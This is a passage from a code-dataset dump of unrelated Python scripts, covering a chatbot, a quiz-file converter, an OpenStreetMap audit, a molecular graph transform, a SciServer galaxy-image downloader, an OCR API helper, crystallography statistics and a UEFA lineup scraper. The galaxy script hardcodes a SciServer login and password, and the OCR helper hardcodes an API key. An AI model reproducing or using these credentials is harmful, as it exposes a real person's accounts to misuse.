sbDatabase.inverse_t:\n base = base.replace(\"*INV_TARGET*\", sbDatabase.inverse_t[target])\n else:\n base = base.replace(\"*INV_TARGET*\", target)\n base = base.replace(\"*TARGET*\", target)\n if subject in sbDatabase.inverse:\n base = base.replace(\"*INV_SUB*\", sbDatabase.inverse[subject])\n else:\n base = base.replace(\"*INV_SUB*\", subject)\n base = base.replace(\"*SUB*\", subject)\n if \"TOPIC*\" in base:\n if len(usedTopics) >= len(sbDatabase.topics)-1:\n base = random.choice(sbDatabase.outOfTopics)\n else:\n base = base.replace(\"*LAST_TOPIC*\", lastTopic)\n if \"*RANDOM_TOPIC*\" in base:\n lastTopic = random.choice(sbDatabase.topics)\n while lastTopic in usedTopics:\n lastTopic = random.choice(sbDatabase.topics)\n base = base.replace(\"*RANDOM_TOPIC*\", lastTopic)\n return base, lastTopic\n\ndef main():\n lastTopic = random.choice(sbDatabase.topics)\n usedTopics = []\n while True:\n breakdown = sentenceBreakdown(getUserMessage())\n niceness = isSentencePositive(breakdown[\"details\"])\n response, newTopic = buildResponse(breakdown[\"subject\"], breakdown[\"target\"], niceness, breakdown[\"question\"], breakdown[\"details\"], breakdown[\"hi\"], breakdown[\"bye\"], lastTopic, usedTopics)\n if newTopic != lastTopic:\n usedTopics.append(lastTopic)\n lastTopic = newTopic\n sendMessage(response)\n if breakdown[\"bye\"]:\n sys.exit()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"simple-bot.py","file_name":"simple-bot.py","file_ext":"py","file_size_in_byte":8355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300489336","text":"class Dsc:\n\t\"Dokumentacja...\"\n\tdef __init__(self):\n\t\tself.value = 0\n\tdef __get__(self, inst, owner):\n\t\tprint(\"get...\")\n\t\treturn self.value\n\tdef __set__(self, inst, value):\n\t\tprint(\"set...\")\n\t\tself.value = value\n\nclass Cls:\n\tw = Dsc()\n\tdef __init__(self):\n\t\tself.v = Dsc()\n\t\t\n\nc = Cls()\nprint(c.v)\nprint(c.w)\n\nprint('-------')\n\nc.v = 'v'\nc.w = 'w'\n\nprint('-------')\n\nprint(c.v)\nprint(c.w)\n","sub_path":"Py/Absolutne podstawy/deskryptory.py","file_name":"deskryptory.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"423942505","text":"\nimport json\nimport math\nimport sys\n\n\n\nif len(sys.argv) != 8:\n print(\"Usage: python scriptCourseCopyQuestions.py \\\"Networking\\\" \\\"Learn About Computer Networking Using MCQs\\\" 10 10 10 10 10\")\n exit()\n\nfile1 = open('QuestionsFile', 'r')\nLines = file1.readlines()\n\ntotalQuestions = 50\n\ndata = []\n\n\ncurrentQuestion = 2\nlastLine = 1\ncount = 0\nfor line in Lines:\n print('line: ' + line)\n count += 1\n searchString = str(currentQuestion) + \". \\n\";\n print('searchString: ', searchString)\n \n print('count: ', count)\n if (line == searchString):\n print('inside match found')\n tempQuestion = \"\"\n for i in range(lastLine, count-1):\n print('i', i)\n tempQuestion += Lines[i]\n print('tempQuestion: ', tempQuestion)\n lastLine = count\n tempElement = {\n \"customChapterNumber\": 1,\n \"customChapterName\": sys.argv[1],\n \"customChapterSection\": math.floor((currentQuestion - 2) / 10) + 1 ,\n \"customChapterDescription\": sys.argv[2],\n \"customTotalSlides\": 0,\n \"customFlashcardNumber\": currentQuestion - 1,\n \"slideQuestion\": tempQuestion,\n \"slideAnswer\": \"\",\n \"slideWrongOption0\": \"\",\n \"slideWrongOption1\": \"\",\n \"slideWrongOption2\": \"\"\n }\n print('tempElement: ', tempElement)\n if (0 <= count <= 10):\n tempElement['customTotalSlides'] = int(sys.argv[3])\n elif (10 <= count <= 20):\n tempElement['customTotalSlides'] = int(sys.argv[4])\n elif (20 <= count <= 30):\n tempElement['customTotalSlides'] = int(sys.argv[5])\n elif (30 <= count <= 40):\n tempElement['customTotalSlides'] = int(sys.argv[6])\n else:\n tempElement['customTotalSlides'] = int(sys.argv[7])\n\n\n data.append(tempElement)\n\n currentQuestion += 1\n\ndataContent = {\n \"totalChapters\": 1,\n \"totalSlides\": totalQuestions,\n \"data\" : data\n}\n\n# Serializing json\njson_object = json.dumps(dataContent, indent=4)\n \nwith open(\"default-flashcards.json\", \"w\") as outfile:\n outfile.write(json_object)\n\n","sub_path":"FiftyUiTxtToJson/scriptCourseCopyQuestions.py","file_name":"scriptCourseCopyQuestions.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"426154424","text":"import re\nimport xml.etree.cElementTree as ET\n\ndef is_key(elem, key):\n \"\"\"Check if the passed element contains the specified key.\"\"\"\n return (elem.attrib['k'] == key)\n \n# audit house number\ndef audit_house_number(house_number, bad_house_numbers):\n \"\"\"Check if house_number passed contains a lowercase letter. If so add it to the bad_house_number set.\"\"\"\n if any(c.islower() for c in house_number):\n bad_house_numbers.append(house_number)\n \n# audit addr:city\ndef audit_city(city, bad_cities):\n \"\"\"Check if passed city contains an abbreviation or any form of ZH. Add tht city to the bad_cities set if any test \n succeeds.\n \"\"\"\n city_abbrev_re = re.compile('\\.')\n city_zh_re = re.compile('ZH')\n \n m1 = city_abbrev_re.search(city)\n \n m2 = city_zh_re.search(city)\n \n if m1 or m2:\n bad_cities.append(city)\n \n# clean phone\n# +41 xx xxx xx xx\ndef audit_phone_number(phone_number, bad_phone_numbers):\n # check if phone number follows the standard format\n phone_number_re = re.compile('\\+[0-9]{2} [0-9]{2} [0-9]{3} [0-9]{2} [0-9]{2}')\n \n m = phone_number_re.search(phone_number)\n \n if not m:\n bad_phone_numbers.append(phone_number)\n\n# audit website\n# starts with http://www.\ndef audit_website(website, bad_websites):\n # check if website starts with http://www.\n website_re = re.compile('^https?://www.')\n \n m = website_re.search(website)\n \n if not m:\n bad_websites.append(website)\n\n\ndef audit(file_name, bad_house_numbers, bad_cities, bad_phone_numbers, bad_websites):\n for event, elem in ET.iterparse(file_name, events=('end',)):\n if elem.tag in ['node', 'way', 'relation']:\n for tag in elem.iter('tag'):\n if is_key(tag, 'addr:housenumber'):\n audit_house_number(tag.attrib['v'], bad_house_numbers)\n elif is_key(tag, 'addr:city'):\n audit_city(tag.attrib['v'], bad_cities)\n elif is_key(tag, 'phone'):\n audit_phone_number(tag.attrib['v'], bad_phone_numbers)\n elif is_key(tag, 'website'):\n audit_website(tag.attrib['v'], bad_websites)","sub_path":"DAND_p3/audit.py","file_name":"audit.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481702032","text":"import random\r\nimport torch\r\nimport networkx as nx\r\nfrom data_process import graph_data_obj_to_nx_simple, nx_to_graph_data_obj_simple\r\n\r\n\r\nclass MaskAtomAndExtractSubstructureContextPair:\r\n def __init__(self, k, l1, l2, num_atom_type, num_edge_type, mask_rate, mask_edge=True):\r\n \"\"\"\r\n Randomly masks an atom, and optionally masks edges connecting to it.\r\n The mask atom type index is num_possible_atom_type\r\n The mask edge type index in num_possible_edge_type\r\n :param num_atom_type:\r\n :param num_edge_type:\r\n :param mask_rate: % of atoms to be masked\r\n :param mask_edge: If True, also mask the edges that connect to the\r\n masked atoms\r\n :param k:\r\n :param l1:\r\n :param l2:\r\n \"\"\"\r\n self.num_atom_type = num_atom_type\r\n self.num_edge_type = num_edge_type\r\n self.mask_rate = mask_rate\r\n self.mask_edge = mask_edge\r\n self.k = k\r\n self.l1 = l1\r\n self.l2 = l2\r\n\r\n if self.k == 0:\r\n self.k = -1\r\n if self.l1 == 0:\r\n self.l1 = -1\r\n if self.l2 == 0:\r\n self.l2 = -1\r\n\r\n def __call__(self, data, masked_atom_indices=None, root_idx=None):\r\n \"\"\"\r\n :param data: pytorch geometric data object. Assume that the edge\r\n ordering is the default pytorch geometric ordering, where the two\r\n directions of a single edge occur in pairs.\r\n Eg. data.edge_index = tensor([[0, 1, 1, 2, 2, 3],\r\n [1, 0, 2, 1, 3, 2]])\r\n :param masked_atom_indices: If None, then randomly samples num_atoms\r\n * mask rate number of atom indices\r\n Otherwise a list of atom idx that sets the atoms to be masked (for\r\n debugging only)\r\n :return: None, Creates new attributes in original data object:\r\n data.mask_node_idx\r\n data.mask_node_label\r\n data.mask_edge_idx\r\n data.mask_edge_label\r\n \"\"\"\r\n num_atoms = data.x.size()[0]\r\n\r\n if masked_atom_indices == None:\r\n # sample x distinct atoms to be masked, based on mask rate. But\r\n # will sample at least 1 atom\r\n sample_size = int(num_atoms * self.mask_rate + 1)\r\n masked_atom_indices = random.sample(range(num_atoms), sample_size)\r\n\r\n if root_idx == None:\r\n root_idx = random.sample(range(num_atoms), 1)[0]\r\n\r\n G = graph_data_obj_to_nx_simple(data)\r\n\r\n # create mask node label by copying atom feature of mask atom\r\n mask_node_labels_list = []\r\n for atom_idx in masked_atom_indices:\r\n mask_node_labels_list.append(data.x[atom_idx].view(1, -1))\r\n data.mask_node_label = torch.cat(mask_node_labels_list, dim=0)\r\n data.masked_atom_indices = torch.tensor(masked_atom_indices)\r\n\r\n # Get k-hop subgraph rooted at specified atom idx\r\n substruct_node_idxes = nx.single_source_shortest_path_length(G, root_idx, self.k).keys()\r\n if len(substruct_node_idxes) > 0:\r\n substruct_G = G.subgraph(substruct_node_idxes)\r\n substruct_G, substruct_node_map = reset_idxes(substruct_G) # need\r\n # to reset node idx to 0 -> num_nodes - 1, otherwise data obj does not\r\n # make sense, since the node indices in data obj must start at 0\r\n substruct_data = nx_to_graph_data_obj_simple(substruct_G)\r\n data.x_substruct = substruct_data.x\r\n data.edge_attr_substruct = substruct_data.edge_attr\r\n data.edge_index_substruct = substruct_data.edge_index\r\n data.center_substruct_idx = torch.tensor([substruct_node_map[root_idx]]) # need\r\n # to convert center idx from original graph node ordering to the\r\n # new substruct node ordering\r\n\r\n # Get subgraphs that is between l1 and l2 hops away from the root node\r\n l1_node_idxes = nx.single_source_shortest_path_length(G, root_idx, self.l1).keys()\r\n l2_node_idxes = nx.single_source_shortest_path_length(G, root_idx, self.l2).keys()\r\n context_node_idxes = set(l1_node_idxes).symmetric_difference(set(l2_node_idxes))\r\n if len(context_node_idxes) > 0:\r\n context_G = G.subgraph(context_node_idxes)\r\n context_G, context_node_map = reset_idxes(context_G) # need to\r\n # reset node idx to 0 -> num_nodes - 1, otherwise data obj does not\r\n # make sense, since the node indices in data obj must start at 0\r\n context_data = nx_to_graph_data_obj_simple(context_G)\r\n data.x_context = context_data.x\r\n data.edge_attr_context = context_data.edge_attr\r\n data.edge_index_context = context_data.edge_index\r\n\r\n # Get indices of overlapping nodes between substruct and context,\r\n # WRT context ordering\r\n context_substruct_overlap_idxes = list(set(context_node_idxes).intersection(set(substruct_node_idxes)))\r\n if len(context_substruct_overlap_idxes) > 0:\r\n context_substruct_overlap_idxes_reorder = [context_node_map[old_idx]\r\n for\r\n old_idx in\r\n context_substruct_overlap_idxes]\r\n # need to convert the overlap node idxes, which is from the\r\n # original graph node ordering to the new context node ordering\r\n data.overlap_context_substruct_idx = torch.tensor(context_substruct_overlap_idxes_reorder)\r\n\r\n # modify the original node feature of the masked node\r\n for atom_idx in masked_atom_indices:\r\n data.x[atom_idx] = torch.tensor([self.num_atom_type])#, 0]) # 这里我修改了\r\n\r\n if self.mask_edge:\r\n # create mask edge labels by copying edge features of edges that are bonded to\r\n # mask atoms\r\n connected_edge_indices = []\r\n for bond_idx, (u, v) in enumerate(data.edge_index.cpu().numpy().T):\r\n for atom_idx in masked_atom_indices:\r\n if atom_idx in set((u, v)) and \\\r\n bond_idx not in connected_edge_indices:\r\n connected_edge_indices.append(bond_idx)\r\n\r\n if len(connected_edge_indices) > 0:\r\n # create mask edge labels by copying bond features of the bonds connected to\r\n # the mask atoms\r\n mask_edge_labels_list = []\r\n for bond_idx in connected_edge_indices[::2]: # because the\r\n # edge ordering is such that two directions of a single\r\n # edge occur in pairs, so to get the unique undirected\r\n # edge indices, we take every 2nd edge index from list\r\n mask_edge_labels_list.append(\r\n data.edge_attr[bond_idx].view(1, -1))\r\n\r\n data.mask_edge_label = torch.cat(mask_edge_labels_list, dim=0)\r\n # modify the original bond features of the bonds connected to the mask atoms\r\n for bond_idx in connected_edge_indices:\r\n data.edge_attr[bond_idx] = torch.tensor(\r\n [self.num_edge_type, 0])\r\n\r\n data.connected_edge_indices = torch.tensor(\r\n connected_edge_indices[::2])\r\n else:\r\n data.mask_edge_label = torch.empty((0, 2)).to(torch.int64)\r\n data.connected_edge_indices = torch.tensor(\r\n connected_edge_indices).to(torch.int64)\r\n\r\n return data\r\n\r\n def __repr__(self):\r\n return '{}(k={}, l1={}, l2={}, num_atom_type={}, num_edge_type={}, mask_rate={}, mask_edge={})'.format(\r\n self.__class__.__name__, self.k, self.l1, self.l2, self.num_atom_type, self.num_edge_type,\r\n self.mask_rate, self.mask_edge)\r\n\r\n\r\ndef reset_idxes(G):\r\n \"\"\"\r\n Resets node indices such that they are numbered from 0 to num_nodes - 1\r\n :param G:\r\n :return: copy of G with relabelled node indices, mapping\r\n \"\"\"\r\n mapping = {}\r\n for new_idx, old_idx in enumerate(G.nodes()):\r\n mapping[old_idx] = new_idx\r\n new_G = nx.relabel_nodes(G, mapping, copy=True)\r\n return new_G, mapping\r\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":8292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"264150984","text":"from __future__ import print_function, division\nimport SciServer\nfrom SciServer import Authentication, LoginPortal, Config, CasJobs, SkyQuery, SciDrive, SkyServer, Files, Jobs\nimport os;\nimport pandas as pd;\nimport sys;\nimport json;\nfrom io import StringIO\nfrom io import BytesIO\n#from PIL import Image\nimport numpy as np\nfrom PyAstronomy import pyasl\nimport csv\nfrom PIL import Image\nimport time\nprint (\"Start transorm\")\n\n# Define login Name and password before running these examples\nAuthentication_loginName = 'generalzyq';\nAuthentication_loginPassword = 'waZYQ@1993'\n\ntoken1 = Authentication.login(Authentication_loginName, Authentication_loginPassword);\ntoken2 = Authentication.getToken()\ntoken3 = Authentication.getKeystoneToken()\ntoken4 = Authentication.token.value\nprint(\"token1=\" + token1)#\nprint(\"token2=\" + token2)#\nprint(\"token3=\" + token3)#\nprint(\"token4=\" + token4)#\n\ngalaxies = pd.read_csv(\"GalaxyZoo1_DR_table7.csv\", skiprows=950)\n\nellipticIndex = 8\ncwSpiralIndex = 9\nacwSpiralIndex = 10\nedgeIndex = 11\ndkIndex = 12\nmergeIndex = 13\ncombinedIndex = 14\n\ntotalCount = 0\n\nprint (galaxies.shape)\nfor x in xrange(8,galaxies.shape[0]):\n\n\timgName = str(galaxies.iloc[x][0]) + \".jpeg\"\n\tif x % 50 == 0:\n\t\tprint (\"The interate is %d\" % x)\n\n\tmaxValue = 0\n\tshapeIndex = ellipticIndex\n\tfor y in xrange(ellipticIndex,combinedIndex + 1):\n\t\tif galaxies.iloc[x][y] > maxValue:\n\t\t\tmaxValue = galaxies.iloc[x][y]\n\t\t\tshapeIndex = y\n\n\tif shapeIndex != ellipticIndex:\n\t\tcontinue\n\n\n\ttotalCount = totalCount + 1\n\tif totalCount % 50 == 0:\n\t\tprint (\"Total number is %d in time %s\" % (totalCount, time.time()))\n\n\tif totalCount == 1000:\n\t\tbreak\n\n\n\thd2 = galaxies.iloc[x][1] + \" \" + galaxies.iloc[x][2]\n\n\n\t# Obtain decimal representation\n\tra1, dec1 = pyasl.coordsSexaToDeg(hd2)\n\timg = SkyServer.getJpegImgCutout(ra=ra1, dec=dec1, width=1024, height=1024, scale=0.1, \n dataRelease=\"DR13\",opt=\"I\",\n query=\"SELECT TOP 1 g.objID, g.ra, g.dec, g.r FROM fGetObjFromRectEq(ra1-0.5,dec1-0.5,ra1+0.5,dec1+0.5) n, Galaxy g WHERE n.objID=g.objID\")\n\tim = Image.fromarray(img)\n\tim.save(imgName)\n\n# \twith open('shapes.csv', 'a') as f:\n# \t writer = csv.writer(f)\n# \t writer.writerow([str(galaxies.iloc[x][0]), str(shapeIndex)])\n\n# shiips = pd.read_csv(\"shapes.csv\")\n# print (\"Sucessfully collect %d galaxies !\" % shiips.shape[0])\n\n\n\n\n\n","sub_path":"Elliptics/downloadGalaxy.py","file_name":"downloadGalaxy.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"424299530","text":"import requests\n\n#Reads text from an image, given the opened image file\ndef get_text_from_url(url):\n\t\treturn (ocr_space_url(url))[\"ParsedResults\"][0]['ParsedText']\n\n\n\n#Accesses the API and retreives a string from the image\ndef ocr_space_url(url, api_key='45fff96fe888957', language='eng'):\n\tpayload = {'url' : url,\n\t\t\t\t'isOverlayRequired': False,\n\t\t\t\t'apikey': api_key,\n\t\t\t\t'language': language,\n\t\t\t\t}\n\n\tr = requests.post('https://api.ocr.space/parse/image',\n\t\t\t\t\t data=payload,\n\t\t\t\t\t )\n\n\treturn r.json()","sub_path":"imageAnalytics.py","file_name":"imageAnalytics.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"239493533","text":"from __future__ import absolute_import, division, print_function\n\nimport logging\nfrom collections import defaultdict\nfrom math import sqrt, floor\n\nfrom cctbx import miller\nfrom cctbx import crystal, uctbx\nfrom dials.array_family import flex\nimport six\n\nlogger = logging.getLogger(\"dials.command_line.compute_delta_cchalf\")\n\n\nclass ResolutionBinner(object):\n \"\"\"\n A class to bin the data by resolution\n \"\"\"\n\n def __init__(self, unit_cell, dmin, dmax, nbins, output=True):\n \"\"\"\n Initialise the binner\n\n :param unit_cell: A unit cell object\n :param dmin: The maximum resolution\n :param dmax: The minimum resolution\n :param nbins: The number of bins\n \"\"\"\n if output:\n logger.info(\"Resolution bins\")\n assert dmin < dmax\n dmin_inv_sq = 1.0 / dmin ** 2\n dmax_inv_sq = 1.0 / dmax ** 2\n self._unit_cell = unit_cell\n self._nbins = nbins\n self._xmin = dmax_inv_sq\n self._xmax = dmin_inv_sq\n assert self._xmin < self._xmax\n self._bin_range = self._xmax - self._xmin\n self._bin_size = self._bin_range / self._nbins\n self._bins = []\n for i in range(self._nbins):\n b0, b1 = (\n self._xmin + i * self._bin_size,\n self._xmin + (i + 1) * self._bin_size,\n )\n if output:\n logger.info(\"%d: %.3f, %.3f\" % (i, sqrt(1 / b0), sqrt(1 / b1)))\n self._bins.append((b0, b1))\n\n def nbins(self):\n \"\"\"\n :returns: The number of bins\n \"\"\"\n return self._nbins\n\n def index(self, h):\n \"\"\"\n Get the bin index from the miller index\n\n :param h: The miller index\n :returns: The bin index\n \"\"\"\n d = self._unit_cell.d(h)\n d2 = 1 / d ** 2\n bin_index = int(floor((d2 - self._xmin) / self._bin_size))\n if bin_index >= self._nbins:\n bin_index = self._nbins - 1\n if bin_index < 0:\n bin_index = 0\n return bin_index\n\n\nclass ReflectionSum(object):\n \"\"\"\n A helper class to store sums of X and X**2\n \"\"\"\n\n def __init__(self, sum_x=0, sum_x2=0, n=0):\n self.sum_x = sum_x\n self.sum_x2 = sum_x2\n self.n = n\n\n\nclass BinData(object):\n \"\"\"\n A helper class to store mean and variance\n \"\"\"\n\n def __init__(self):\n self.mean = []\n self.var = []\n\n\ndef compute_cchalf(mean, var):\n \"\"\"\n Compute the CC 1/2 using the formular from Assmann, Brehm and Diederichs 2016\n\n :param mean: The list of mean intensities\n :param var: The list of variances on the half set of mean intensities\n :returns: The CC 1/2\n \"\"\"\n assert len(mean) == len(var)\n n = len(mean)\n mean_of_means = sum(mean) / n\n sigma_e = sum(var) / n\n sigma_y = sum((m - mean_of_means) ** 2 for m in mean) / (n - 1)\n cchalf = (sigma_y - sigma_e) / (sigma_y + sigma_e)\n return cchalf\n\n\ndef compute_mean_cchalf_in_bins(bin_data):\n \"\"\"\n Compute the mean cchalf averaged across resolution bins\n\n :param bin_data: The mean and variance in each bin\n :returns: The mean CC 1/2\n \"\"\"\n mean_cchalf = 0\n count = 0\n for bin_i in bin_data:\n mean = bin_i.mean\n var = bin_i.var\n n = len(mean)\n if n > 1:\n cchalf = compute_cchalf(mean, var)\n mean_cchalf += n * cchalf\n count += n\n mean_cchalf /= count\n return mean_cchalf\n\n\nclass PerImageCChalfStatistics(object):\n \"\"\"\n A class to compute per image CC 1/2 statistics\n \"\"\"\n\n def __init__(\n self,\n miller_index,\n identifiers,\n dataset,\n images,\n intensity,\n variance,\n unit_cell,\n space_group,\n nbins=10,\n dmin=None,\n dmax=None,\n mode=\"dataset\",\n image_group=10,\n ):\n \"\"\"\n Initialise\n\n :param miller_index: The list of miller indices\n :param dataset: The list of dataset numbers\n :param intensity: The list of intensities\n :param variance: The list of variances\n :param unit_cell: The unit cell or list of unit cells\n :param space_group: The space group\n :param nbins: The number of bins\n :param dmin: The maximum resolution\n :param dmax: The minimum resolution\n \"\"\"\n\n assert len(set(dataset)) == len(unit_cell)\n\n # Reject reflections with negative variance\n selection = variance > 0\n miller_index = miller_index.select(selection)\n dataset = dataset.select(selection)\n intensity = intensity.select(selection)\n variance = variance.select(selection)\n images = images.select(selection)\n\n # Compute mean unit_cell\n if len(unit_cell) == 1:\n mean_unit_cell = unit_cell[0]\n else:\n mean_parameters = [0, 0, 0, 0, 0, 0]\n for uc in unit_cell:\n for i in range(6):\n mean_parameters[i] += uc.parameters()[i]\n for i in range(6):\n mean_parameters[i] /= len(unit_cell)\n mean_unit_cell = uctbx.unit_cell(mean_parameters)\n\n # Map the miller indices to the ASU\n D = flex.double(len(dataset), 0)\n for i, uc in zip(identifiers, unit_cell):\n\n # Select reflections\n selection = dataset == i\n hkl = miller_index.select(selection)\n\n # Compute resolution\n d = flex.double([uc.d(h) for h in hkl])\n D.set_selected(selection, d)\n\n # Compute asu miller index\n cs = crystal.symmetry(uc, space_group=space_group)\n ms = miller.set(cs, hkl)\n ms_asu = ms.map_to_asu()\n miller_index.set_selected(selection, ms_asu.indices())\n\n assert all(d > 0 for d in D)\n\n # Filter by dmin and dmax\n if dmin is not None:\n selection = D > dmin\n miller_index = miller_index.select(selection)\n dataset = dataset.select(selection)\n intensity = intensity.select(selection)\n variance = variance.select(selection)\n D = D.select(selection)\n images = images.select(selection)\n\n if dmax is not None:\n selection = D < dmax\n miller_index = miller_index.select(selection)\n dataset = dataset.select(selection)\n intensity = intensity.select(selection)\n variance = variance.select(selection)\n D = D.select(selection)\n images = images.select(selection)\n\n # Save the arrays\n self._miller_index = miller_index\n self._dataset = dataset\n self._intensity = intensity\n self._variance = variance\n\n # Create the resolution bins\n self._num_bins = nbins\n self._dmin = dmin\n self._dmax = dmax\n if dmin is None:\n self._dmin = min(D)\n if dmax is None:\n self._dmax = max(D)\n binner = ResolutionBinner(mean_unit_cell, self._dmin, self._dmax, nbins)\n\n # Create lookups for elements by miller index\n index_lookup = defaultdict(list)\n for i, h in enumerate(miller_index):\n index_lookup[h].append(i)\n\n # Compute the Overall Sum(X) and Sum(X^2) for each unique reflection\n reflection_sums = defaultdict(ReflectionSum)\n for h in index_lookup:\n intensities = [intensity[i] for i in index_lookup[h]]\n n = len(intensities)\n sum_x = sum(intensities)\n sum_x2 = sum(i ** 2 for i in intensities)\n reflection_sums[h] = ReflectionSum(sum_x, sum_x2, n)\n\n # Compute some numbers\n self._num_datasets = len(set(dataset))\n self._num_reflections = len(miller_index)\n self._num_unique = len(reflection_sums)\n\n logger.info(\"\")\n logger.info(\"# Datasets: %s\" % self._num_datasets)\n logger.info(\"# Reflections: %s\" % self._num_reflections)\n logger.info(\"# Unique: %s\" % self._num_unique)\n\n # Compute the CC 1/2 for all the data\n self._cchalf_mean = self._compute_cchalf(reflection_sums, binner)\n logger.info(\"CC 1/2 mean: %.3f\" % (100 * self._cchalf_mean))\n\n # override dataset here with a batched-dependent\n self.expid_to_image_groups = {id_: [] for id_ in set(dataset)}\n if mode == \"image_group\":\n image_groups = flex.int(dataset.size(), 0)\n self.image_group_to_expid_and_range = {}\n\n counter = 0\n for id_ in set(dataset):\n sel = dataset == id_\n images_in_dataset = images.select(sel)\n unique_images = set(images_in_dataset)\n min_img, max_img = (min(unique_images), max(unique_images))\n min_img = (int(floor(min_img / image_group)) * image_group) + 1\n for i in range(min_img, max_img + 1, image_group):\n group_sel = (images_in_dataset >= i) & (\n images_in_dataset < i + image_group\n )\n image_groups.set_selected(\n (sel.iselection().select(group_sel)), counter\n )\n self.image_group_to_expid_and_range[counter] = (\n id_,\n (i, i + image_group - 1),\n )\n self.expid_to_image_groups[id_].append(counter)\n counter += 1\n self._cchalf = self._compute_cchalf_excluding_each_dataset(\n reflection_sums, binner, miller_index, image_groups, intensity\n )\n\n else:\n self._cchalf = self._compute_cchalf_excluding_each_dataset(\n reflection_sums, binner, miller_index, dataset, intensity\n )\n\n def _compute_cchalf(self, reflection_sums, binner):\n \"\"\"\n Compute the CC 1/2 by computing the CC 1/2 in resolution bins and then\n computing the weighted mean of the binned CC 1/2 values\n \"\"\"\n # Compute Mean and variance of reflection intensities\n bin_data = [BinData() for _ in range(binner.nbins())]\n for h in reflection_sums:\n sum_x = reflection_sums[h].sum_x\n sum_x2 = reflection_sums[h].sum_x2\n n = reflection_sums[h].n\n\n if n > 1:\n mean = sum_x / n\n var = (sum_x2 - (sum_x) ** 2 / n) / (n - 1)\n var = var / n\n index = binner.index(h)\n bin_data[index].mean.append(mean)\n bin_data[index].var.append(var)\n\n # Compute the mean cchalf in resolution bins\n return compute_mean_cchalf_in_bins(bin_data)\n\n def _compute_cchalf_excluding_each_dataset(\n self, reflection_sums, binner, miller_index, dataset, intensity\n ):\n \"\"\"\n Compute the CC 1/2 with an image excluded.\n\n For each image, update the sums by removing the contribution from the image\n and then compute the CC 1/2 of the remaining data\n \"\"\"\n\n # Create a lookup table for each reflection by dataset\n dataset_lookup = defaultdict(list)\n for i, b in enumerate(dataset):\n dataset_lookup[b].append(i)\n\n # Compute CC1/2 minus each dataset\n cchalf_i = {}\n for dataset in dataset_lookup:\n\n # Find all observations from this dataset and create a lookup based on\n # miller index\n index_lookup = defaultdict(list)\n for i in dataset_lookup[dataset]:\n index_lookup[miller_index[i]].append(i)\n\n # Loop through all the reflections and remove the contribution of\n # reflections from the current dataset\n dataset_reflection_sums = defaultdict(ReflectionSum)\n for h in reflection_sums:\n sum_x = reflection_sums[h].sum_x\n sum_x2 = reflection_sums[h].sum_x2\n n = reflection_sums[h].n\n for i in index_lookup[h]:\n sum_x -= self._intensity[i]\n sum_x2 -= self._intensity[i] ** 2\n n -= 1\n dataset_reflection_sums[h] = ReflectionSum(sum_x, sum_x2, n)\n\n # Compute the CC 1/2 without the reflections from the current dataset\n cchalf = self._compute_cchalf(dataset_reflection_sums, binner)\n cchalf_i[dataset] = cchalf\n logger.info(\"CC 1/2 excluding dataset %d: %.3f\" % (dataset, 100 * cchalf))\n\n return cchalf_i\n\n def num_datasets(self):\n \"\"\"\n Return the number of datasets\n \"\"\"\n return len(self._cchalf)\n\n def num_reflections(self):\n \"\"\"\n Return the number of reflections\n \"\"\"\n return self._num_reflections\n\n def num_unique(self):\n \"\"\"\n Return the number of unique reflections\n \"\"\"\n return self._num_unique\n\n def mean_cchalf(self):\n \"\"\"\n Return the mean CC 1/2\n \"\"\"\n return self._cchalf_mean\n\n def cchalf_i(self):\n \"\"\"\n Return the CC 1/2 for each image excluded\n \"\"\"\n return self._cchalf\n\n def delta_cchalf_i(self):\n \"\"\"\n Return the Delta CC 1/2 for each image excluded\n \"\"\"\n return {k: self._cchalf_mean - v for k, v in six.iteritems(self._cchalf)}\n","sub_path":"modules/dials/algorithms/statistics/delta_cchalf.py","file_name":"delta_cchalf.py","file_ext":"py","file_size_in_byte":13385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"354772384","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\n\n\ndata = pd.read_csv('fixtures.csv')\nfix = data[['Round ID','Match ID']].drop_duplicates().reset_index(drop=True)\n\nbase_url = 'https://www.uefa.com/uefachampionsleague/season=2019/matches/round='\n\ncolumns = ['Round','Match_ID','Player','Events','Time']\ndata_lineups = pd.DataFrame(columns = columns)\n\nfor index,row in fix.iterrows():\n rnd = row['Round ID']\n id = row['Match ID']\n url = base_url + str(rnd) + '/match=' + str(id) + '/lineups/index.html'\n page = requests.get(url)\n soup = BeautifulSoup(page.text,'html.parser')\n for lineups in soup.find_all(class_='squad--team-list'):\n for li in lineups.find_all('li'):\n if(li.find(class_='fitty-fit') != None):\n name = li.find(class_='fitty-fit').text.split()\n if(li.find(class_='lineups--events') != None):\n for event in li.find_all(class_='lineups--events-event'):\n desc = event.find('img').get('title')\n minute = event.find('span').text\n lineup_data = pd.DataFrame([[rnd,id,name,desc,minute]])\n lineup_data.columns = columns\n data_lineups = data_lineups.append(lineup_data,ignore_index=True)\n else:\n lineup_data = pd.DataFrame([[rnd,id,name,None,None]])\n lineup_data.columns = columns\n data_lineups = data_lineups.append(lineup_data,ignore_index=True)\ntime.sleep(30)\n\ndata_lineups.to_csv('lineups.csv',index = False)","sub_path":"uefa_lineups.py","file_name":"uefa_lineups.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"407454704","text":"#!/usr/bin/python\n\nimport os\nimport sys\nimport urllib\n\n#---------------------------------------------\nURL_SOURCE_1 = 